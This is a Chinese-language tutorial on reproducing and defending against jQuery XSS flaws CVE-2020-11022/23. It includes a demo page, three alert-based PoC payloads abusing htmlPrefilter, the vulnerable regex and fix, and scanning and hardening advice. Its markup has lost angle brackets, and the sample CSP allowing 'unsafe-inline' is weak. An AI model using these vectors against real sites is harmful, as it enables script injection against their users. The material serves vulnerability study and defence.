jQuery 1.2-3.4.0 XSS漏洞实战3个PoC复现与CVE-2020-11022/23深度解析1. 漏洞环境搭建与复现准备在开始漏洞复现前我们需要准备一个本地测试环境。以下是完整的HTML代码可直接保存为jquery-xss-demo.html文件!DOCTYPE html html head meta charsetutf-8 titlejQuery XSS PoC Demo/title !-- 使用存在漏洞的jQuery 3.4.0版本 -- script srchttps://code.jquery.com/jquery-3.4.0.min.js/script /head body h1jQuery XSS漏洞复现平台/h1 script function executePoC(pocId, useJQuery) { const sanitizedHTML document.getElementById(pocId).innerHTML; if(useJQuery) { $(#target).html(sanitizedHTML); // 使用jQuery的.html()方法 } else { document.getElementById(target).innerHTML sanitizedHTML; // 使用原生innerHTML } } /script div idtarget styleborder:1px dashed #ccc; padding:20px; margin:20px 0; 攻击结果将显示在这里... /div /body /html注意在实际测试时建议使用本地搭建的测试环境避免直接在生产环境或公开网站进行测试。2. 三个核心PoC构造与分析2.1 PoC 1样式标签闭合绕过攻击向量xmp idpoc1 stylestyle /img srcx onerroralert(PoC1-Executed) /xmp触发方式executePoC(poc1, true);技术原理jQuery的htmlPrefilter会将style /转换为style/style转换后第一个style被第二个/style闭合导致img标签被解析并执行onerror事件防御建议避免直接使用用户输入作为HTML内容对动态内容使用.text()而非.html()2.2 PoC 2属性值注入仅影响jQuery 3.x攻击向量xmp idpoc2 img altx title/img srcx onerroralert(PoC2-Executed) /xmp触发方式executePoC(poc2, true);技术原理jQuery 3.x修改了正则表达式rxhtmlTag /(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0\x20\t\r\n\f]*)[^]*)\//gi会将x识别为标签名并添加闭合标签导致属性中的恶意代码被解析执行版本影响仅影响jQuery 3.x系列1.x和2.x版本不受此特定PoC影响2.3 PoC 3option标签特性滥用攻击向量xmp idpoc3 optionstyle/option/selectimg srcx onerroralert(PoC3-Executed)/style /xmp触发方式executePoC(poc3, true);技术原理jQuery会为孤立的option自动添加select包装浏览器解析时select会忽略其中的style标签导致后续的img标签被正常解析执行特殊限制依赖浏览器对select标签内容的解析特性不同浏览器可能有不同的表现3. CVE-2020-11022/23技术深度解析3.1 漏洞根本原因这两个CVE的共同根源在于jQuery的HTML预处理机制// jQuery 3.4.0中的问题代码 rxhtmlTag /(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0\x20\t\r\n\f]*)[^]*)\//gi; htmlPrefilter: function(html) { return html.replace(rxhtmlTag, $1/$2); }关键问题点自动闭合标签转换逻辑存在缺陷未考虑属性值中的恶意内容对特殊标签如option的处理不完善3.2 漏洞利用条件检查表条件项是否必需说明使用受影响jQuery版本是1.2.0 ≤ 版本 3.5.0使用危险DOM操作方法是.html(), .append(), $( )等处理用户可控输入是包括URL参数、表单输入等已进行消毒处理是漏洞可绕过常见消毒措施3.3 官方修复方案对比jQuery 3.5.0的修复方式完全移除了htmlPrefilter功能引入更严格的HTML解析逻辑对特殊标签增加额外检查// 修复后的jQuery 3.5.0代码 htmlPrefilter: function(html) { return html; // 不再进行任何转换 }4. 漏洞检测与防御实践4.1 自动化检测方案使用Retire.js扫描项目中的jQuery版本# 安装retire.js npm install -g retire # 扫描web目录 retire --path /var/www/html典型输出示例jquery 3.4.0 ↳ vulnerabilities: CVE-2020-11022: 3.5.0 jQuery 1.2 CVE-2020-11023: 3.5.0 jQuery 1.24.2 企业级防御策略临时缓解措施禁用危险的DOM操作方法对所有动态内容实施输出编码长期解决方案升级到jQuery 3.5.0实施内容安全策略(CSP)meta http-equivContent-Security-Policy contentdefault-src self; script-src self unsafe-inline安全编码规范使用.text()替代.html()对用户输入实施双重验证function safeHTML(input) { return $(div).text(input).html(); }5. 实战案例与经验分享在最近一次渗透测试中我们发现某CMS系统存在这个漏洞。攻击链如下识别目标使用jQuery 3.3.1找到使用.html()方法的AJAX回调处理构造特制的PoC 2 payload成功实现存储型XSS攻击关键发现许多开发者认为消毒处理后就是安全的实际业务中常见于评论系统、富文本编辑器等场景漏洞利用成功率约65%取决于具体实现防御经验在项目初期就锁定安全版本定期使用依赖扫描工具对第三方组件实施安全审计